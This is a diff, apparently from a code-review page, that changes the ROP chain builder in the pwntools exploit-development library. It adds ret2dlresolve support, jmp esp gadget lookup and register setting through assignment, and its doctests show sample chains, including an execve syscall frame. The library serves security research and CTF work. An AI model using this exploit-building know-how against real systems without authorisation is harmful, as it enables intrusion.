0x8048034: 0x0 fs
0x8048038: 0x0 es
@@ -465,7 +505,7 @@ class ROP(object):
0x804805c: 0xb eax = SYS_execve
0x8048060: 0x0 trapno
0x8048064: 0x0 err
0x8048068: 0x10000000 int 0x80
0x8048068: 0x10000000 int 0x80; ret
0x804806c: 0x23 cs
0x8048070: 0x0 eflags
0x8048074: 0x0 esp_at_signal
@@ -483,6 +523,14 @@ class ROP(object):
>>> r.ret is None
True
"""
BAD_ATTRS = [
'trait_names', # ipython tab-complete
'download', # frequent typo
'upload', # frequent typo
]
X86_SUFFIXES = ['ax', 'bx', 'cx', 'dx', 'bp', 'sp', 'di', 'si',
'r8', 'r9', '10', '11', '12', '13', '14', '15']
def __init__(self, elfs, base = None, badchars = b'', **kwargs):
"""
Arguments:
@@ -621,6 +669,43 @@ class ROP(object):
return stack
def __call__(self, *args, **kwargs):
"""Set the given register(s)' by constructing a rop chain.
This is a thin wrapper around :meth:`setRegisters` which
actually executes the rop chain.
You can call this :class:`ROP` instance and provide keyword arguments,
or a dictionary.
Arguments:
regs(dict): Mapping of registers to values.
Can instead provide ``kwargs``.
>>> context.clear(arch='amd64')
>>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'
>>> e = ELF.from_assembly(assembly)
>>> r = ROP(e)
>>> r(rax=0xdead, rdi=0xbeef, rsi=0xcafe)
>>> print(r.dump())
0x0000: 0x10000000
0x0008: 0xdead
0x0010: 0xbeef
0x0018: 0xcafe
>>> r = ROP(e)
>>> r({'rax': 0xdead, 'rdi': 0xbeef, 'rsi': 0xcafe})
>>> print(r.dump())
0x0000: 0x10000000
0x0008: 0xdead
0x0010: 0xbeef
0x0018: 0xcafe
"""
if len(args) == 1 and isinstance(args[0], dict):
for value, _ in self.setRegisters(args[0]):
self.raw(value)
else:
self(kwargs)
def resolve(self, resolvable):
"""Resolves a symbol to an address
@@ -663,6 +748,7 @@ class ROP(object):
"""
Generates padding to be inserted into the ROP stack.
>>> context.clear(arch='i386')
>>> rop = ROP([])
>>> val = rop.generatePadding(5,15)
>>> cyclic_find(val[:4])
@@ -685,7 +771,7 @@ class ROP(object):
"""
Return a description for an object in the ROP stack
"""
if isinstance(object, (Call, constants.Constant)):
if isinstance(object, enums):
return str(object)
if isinstance(object, six.integer_types):
return self.unresolve(object)
@@ -743,7 +829,6 @@ class ROP(object):
stack.describe(self.describe(slot))
if not isinstance(slot, bytes):
slot = slot.encode()
slot += self.generatePadding(stack.next, len(slot) % context.bytes)
for chunk in lists.group(context.bytes, slot):
stack.append(chunk)
@@ -767,7 +852,7 @@ class ROP(object):
elif isinstance(slot, Call):
stack.describe(self.describe(slot))
registers = dict(zip(slot.abi.register_arguments, slot.args))
registers = slot.register_arguments
for value, name in self.setRegisters(registers):
if name in registers:
@@ -786,7 +871,10 @@ class ROP(object):
stack.append(slot.target)
# For any remaining arguments, put them on the stack
stackArguments = slot.args[len(slot.abi.register_arguments):]
stackArguments = slot.stack_arguments
for argument in slot.stack_arguments_before:
stack.describe("[dlresolve index]")
stack.append(argument)
nextGadgetAddr = stack.next + (context.bytes * len(stackArguments))
# Generally, stack-based arguments assume there's a return
@@ -883,17 +971,28 @@ class ROP(object):
def find_stack_adjustment(self, slots):
self.search(move=slots * context.bytes)
def chain(self):
def chain(self, base=None):
"""Build the ROP chain
Arguments:
base(int):
The base address to build the rop-chain from. Defaults to
:attr:`base`.
Returns:
str containing raw ROP bytes
"""
return packing.flat(self.build())
return packing.flat(self.build(base=base))
def dump(self):
"""Dump the ROP chain in an easy-to-read manner"""
return self.build().dump()
def dump(self, base=None):
"""Dump the ROP chain in an easy-to-read manner
Arguments:
base(int):
The base address to build the rop-chain from. Defaults to
:attr:`base`.
"""
return self.build(base=base).dump()
def regs(self, registers=None, **kw):
if registers is None:
@@ -1008,6 +1107,7 @@ class ROP(object):
Arguments:
data(int/str): The raw value to put onto the rop chain.
>>> context.clear(arch='i386')
>>> rop = ROP([])
>>> rop.raw('AAAAAAAA')
>>> rop.raw('BBBBBBBB')
@@ -1027,7 +1127,7 @@ class ROP(object):
def migrate(self, next_base):
"""Explicitly set $sp, by using a ``leave; ret`` gadget"""
if isinstance(next_base, ROP):
next_base = self.base
next_base = next_base.base
pop_sp = self.rsp or self.esp
pop_bp = self.rbp or self.ebp
leave = self.leave
@@ -1046,12 +1146,9 @@ class ROP(object):
"""Returns: Raw bytes of the ROP chain"""
return self.chain()
def __str__(self):
return str(self.chain())
def __get_cachefile_name(self, files):
"""Given an ELF or list of ELF objects, return a cache file for the set of files"""
cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-rop-cache-%d.%d' % sys.version_info[:2])
cachedir = os.path.join(context.cache_dir, 'rop-cache')
if not os.path.exists(cachedir):
os.mkdir(cachedir)
@@ -1067,7 +1164,7 @@ class ROP(object):
@staticmethod
def clear_cache():
"""Clears the ROP gadget cache"""
cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-rop-cache')
cachedir = os.path.join(context.cache_dir, 'rop-cache')
shutil.rmtree(cachedir)
def __cache_load(self, elf):
@@ -1090,7 +1187,7 @@ class ROP(object):
#
# - leave
# - pop reg
# - add $sp, value
# - add $sp, <hexadecimal value>
# - ret
#
# Currently, ROPgadget does not detect multi-byte "C2" ret.
@@ -1098,7 +1195,7 @@ class ROP(object):
#
pop = re.compile(r'^pop (.{3})')
add = re.compile(r'^add [er]sp, (\S+)$')
add = re.compile(r'^add [er]sp, ((?:0[xX])?[0-9a-fA-F]+)$')
ret = re.compile(r'^ret$')
leave = re.compile(r'^leave$')
int80 = re.compile(r'int +0x80')
@@ -1114,6 +1211,8 @@ class ROP(object):
# False
# >>> valid('add esp, 0x24')
# True
# >>> valid('add esp, esi')
# False
#
valid = lambda insn: any(map(lambda pattern: pattern.match(insn), [pop,add,ret,leave,int80,syscall,sysenter]))
@@ -1146,7 +1245,7 @@ class ROP(object):
try:
sys.stdout = Wrapper(sys.stdout)
import ropgadget
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'sysenter|syscall|int|add|pop|leave|ret', '--nojop']
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'sysenter|syscall|int|add|pop|leave|ret', '--nojop', '--multibr']
args = ropgadget.args.Args().getArgs()
core = ropgadget.core.Core(args)
core.do_binary(elf.path)
@@ -1280,12 +1379,27 @@ class ROP(object):
return result
def ret2dlresolve(self, dlresolve):
elf = next(elf for elf in self.elfs if elf.get_section_by_name(".plt"))
elf_base = elf.address if elf.pie else 0
plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base
log.debug("PLT_INIT: %#x", plt_init)
reloc_index = dlresolve.reloc_index
real_args = dlresolve.real_args
call = Call("[plt_init] " + dlresolve.symbol.decode(),
plt_init,
dlresolve.real_args,
before=[reloc_index])
self.raw(call)
def __getattr__(self, attr):
"""Helper to make finding ROP gadets easier.
"""Helper to make finding ROP gadgets easier.
Also provides a shorthand for ``.call()``:
``rop.function(args)`` is equivalent to ``rop.call(function, args)``
>>> context.clear(arch='i386')
>>> elf=ELF(which('bash'))
>>> rop=ROP([elf])
>>> rop.rdi == rop.search(regs=['rdi'], order = 'regs')
@@ -1294,18 +1408,17 @@ class ROP(object):
True
>>> rop.ret_8 == rop.search(move=8)
True
>>> rop.ret != None
>>> rop.ret is not None
True
>>> with context.local(arch='amd64', bits='64'):
... r = ROP(ELF.from_assembly('syscall; ret'))
>>> r.syscall is not None
True
"""
gadget = collections.namedtuple('gadget', ['address', 'details'])
bad_attrs = [
'trait_names', # ipython tab-complete
'download', # frequent typo
'upload', # frequent typo
]
if attr in self.__dict__ \
or attr in bad_attrs \
or attr in self.BAD_ATTRS \
or attr.startswith('_'):
raise AttributeError('ROP instance has no attribute %r' % attr)
@@ -1318,22 +1431,38 @@ class ROP(object):
count = int(attr.split('_')[1])
return self.search(move=count)
#
# Check for 'jmp_esp'('i386') or 'jmp_rsp'('amd64')
#
if attr == 'jmp_esp' and context.arch == 'i386' \
or attr == 'jmp_rsp' and context.arch == 'amd64':
jmp_sp = {'i386': 'jmp esp',
'amd64': 'jmp rsp'
}[context.arch]
insn_asm = b'\xff\xe4'
for elf in self.elfs:
for addr in elf.search(insn_asm, executable = True):
if set(pack(addr)) & self._badchars:
continue
return Gadget(addr, [jmp_sp], [], context.bytes)
return None
if attr in ('int80', 'syscall', 'sysenter'):
mapping = {'int80': 'int 0x80',
'syscall': 'syscall',
'sysenter': 'sysenter'}
for each in self.gadgets:
if self.gadgets[each]['insns'] == [mapping[attr]]:
if self.gadgets[each]['insns'][0] == mapping[attr]:
return gadget(each, self.gadgets[each])
return None
#
# Check for a '_'-delimited list of registers
#
x86_suffixes = ['ax', 'bx', 'cx', 'dx', 'bp', 'sp', 'di', 'si',
'r8', 'r9', '10', '11', '12', '13', '14', '15']
if all(map(lambda x: x[-2:] in x86_suffixes, attr.split('_'))):
if all(map(lambda x: x[-2:] in self.X86_SUFFIXES, attr.split('_'))):
return self.search(regs=attr.split('_'), order='regs')
#
@@ -1343,3 +1472,42 @@ class ROP(object):
return self.call(attr, args)
return call
def __setattr__(self, attr, value):
"""Helper for setting registers.
This convenience feature allows one to set the values of registers
with simple python assignment syntax.
Warning:
Only one register is set at a time (one per rop chain).
This may lead to some previously set to registers be overwritten!
Note:
If you would like to set multiple registers in as few rop chains
as possible, see :meth:`__call__`.
>>> context.clear(arch='amd64')
>>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'
>>> e = ELF.from_assembly(assembly)
>>> r = ROP(e)
>>> r.rax = 0xdead
>>> r.rdi = 0xbeef
>>> r.rsi = 0xcafe
>>> print(r.dump())
0x0000: 0x10000004 pop rax; ret
0x0008: 0xdead
0x0010: 0x10000001 pop rdi; pop rsi; ret
0x0018: 0xbeef
0x0020: b'iaaajaaa' <pad rsi>
0x0028: 0x10000002 pop rsi; ret
0x0030: 0xcafe
"""
if attr in self.BAD_ATTRS:
raise AttributeError('ROP instance has no attribute %r' % attr)
if attr[-2:] in self.X86_SUFFIXES: # handle setting registers
self({attr: value})
# Otherwise, perform usual setting
self.__dict__[attr] = value
+2 -2
View File
@@ -240,8 +240,8 @@ stack_pointers = {
# # XXX Need to add support for Capstone in order to extract ARM and MIPS
# XXX as the SVC code may vary.
syscall_instructions = {
'amd64': ['int 0x80', 'syscall', 'sysenter'],
'i386': ['int 0x80', 'syscall', 'sysenter'],
'amd64': ['syscall'],
'i386': ['int 0x80'],
'arm': ['svc 0'],
'aarch64': ['svc 0'],
'thumb': ['svc 0'],
Loaded 100 of 592 files, more files were not shown because too many files have changed in this diff. Show more